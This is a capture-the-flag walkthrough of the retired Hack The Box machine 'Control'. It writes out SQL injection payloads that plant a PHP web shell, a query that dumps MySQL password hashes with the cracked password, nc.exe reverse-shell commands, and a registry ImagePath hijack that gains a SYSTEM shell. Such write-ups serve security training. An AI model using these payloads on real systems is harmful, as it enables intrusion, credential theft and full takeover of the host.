This post documents the complete walkthrough of Control, a retired vulnerable VM created by TRX, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post


Control is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun1 -p1-65535,U:1-65535 --rate=500

Starting masscan 1.0.5 ( at 2019-11-25 07:40:50 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 135/tcp on
Discovered open port 49667/tcp on
Discovered open port 49666/tcp on
Discovered open port 3306/tcp on
Discovered open port 80/tcp on

Nothing unusual. Let’s do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -p80,135,3306 -A --reason -oN nmap.txt
80/tcp   open  http    syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Fidelity
135/tcp  open  msrpc   syn-ack ttl 127 Microsoft Windows RPC
3306/tcp open  mysql?  syn-ack ttl 127
| fingerprint-strings:
|   FourOhFourRequest, GetRequest, LDAPSearchReq, LPDString, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SSLSessionReq, TLSSessionReq, TerminalServerCookie, WMSRequest, afp, giop, ms-sql-s:
|_    Host '' is not allowed to connect to this MariaDB server
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :

I’m pretty sure there’s a MySQL database service behind 3306/tcp.

That leaves us with the http service. This is how it looks like.

Oh, before I forget, the IIS is running PHP as well.

Admin Interface Bypass

There’s something interesting in the HTML source of index.php.

I’ve checked. /myfiles doesn’t exist. And also there’s this interesting message when I try to access admin.php.

I put two and two together, and made an educated guess. This is the client IP address that’s allowed to access admin.php, usually through X-Forwarded-For type of header. To facilitate that, we can make use of Burp’s Bypass WAF extension.

Set the scope to the remote machine and we are good to go.


Taking baby steps to discover SQL Injection

It’s not long before I discovered a classic vulnerability with a single quote (') entered into the search field: SQL injection within the search_products.php page.

Usually, we have to determine the number of columns from the products table but looking at above, the number of columns should be five or six. Let’s enter the following into the search field.

' ORDER BY 7 -- -

Confirmed. The number of columns is six. Let’s enter the following into the search field.

' UNION SELECT 1,2,3,4,5,@@VERSION -- -

So, the search_products.php page is susceptible to a UNION-based SQL injection. Time to upload a simple PHP backdoor like so.

<?php echo shell_exec($_GET[0]); ?>

Enter the following into the search field.

' UNION SELECT 1,2,3,4,5,"<br><pre><?php echo htmlentities(shell_exec($_GET[0])); ?></pre>" INTO OUTFILE '\\inetpub\\wwwroot\\cmd.php' -- -

Let’s see if we can execute remote commands through PHP.


Low-Privilege Shell

Time to get that shell. First, let’s transfer nc.exe (from /usr/share/windows-resources/binaries/nc.exe) to a world-writable folder (like \Windows\System32\spool\drivers\color).

Let’s run the reverse shell back to us while nc listens for the incoming shell.

And we have the initial foothold.

Hector is in the Remote Management Users group

During enumeration of iusr’s account, I noticed that Hector is in the Remote Management Users group. That means his credentials must be lying somewhere…

Get that hash

To be honest, I was pleasantly surprised that I could even run the following SQLi and yielded something.

' UNION SELECT 1,2,3,4,user, password from mysql.user -- -

What do we have here? Hector’s password hash!

John the Ripper

Armed with Hector’s password hash, let’s show John the Ripper some :heart:.

Hector’s password is l33th4x0rhector.

PowerShell Remoting / WinRM

Now that we have Hector’s password, we can proceed to log in to Hector’s account via PowerShell Remoting. But first, we need to spawn a PowerShell. To do that, we can use nc.exe to spawn another reverse shell and enter into PowerShell from there.

The hostname is Fidelity by the way. That’s the only plot twist.

With that, we can execute Start-Process to call upon our nc.exe to run the third reverse shell. This time as Hector. :wink:

> Start-Process -FilePath \windows\system32\spool\drivers\color\cute.exe -ArgumentList " 4444 -e cmd" -NoNewWindow

Getting user.txt

The file user.txt is at Hector’s Desktop. No surprise there.

Privilege Escalation

During enumeration of Hector’s account, I notice that Hector is able to do something special with one of the Registry keys.

I generated the above with AccessChk from Microsoft SysInternals like so.

> accesschk.exe -klr hklm\system\currentcontrolset

That means that Hector is able to change the ImagePath of any service of my choice, but which one? The service must be in a stopped state, run as LocalSystem with no dependencies and more importantly, Hector must have the permissions to start the service.

Long story short, I chose Secondary Logon service or seclogon. Here’s why.

Stopped state

Run as LocalSystem with no dependencies

Hector is able to start the service

Basically, the security descriptor string says that Hector as an Authenticated User has the Read Property (RP) of the service object, i.e. Hector can start the Secondary Logon service.

Getting root.txt

To change the ImagePath of the seclogon service, we can use the very versatile REG.EXE command.

> REG ADD HKLM\SYSTEM\CURRENTCONTROLSET\Services\seclogon /v ImagePath /t REG_SZ /d "%WINDIR%\System32\cmd.exe /c start %WINDIR%\system32\spool\drivers\color\cute.exe 5555 -e cmd.exe" /f
> sc start seclogon

Time to claim the prize…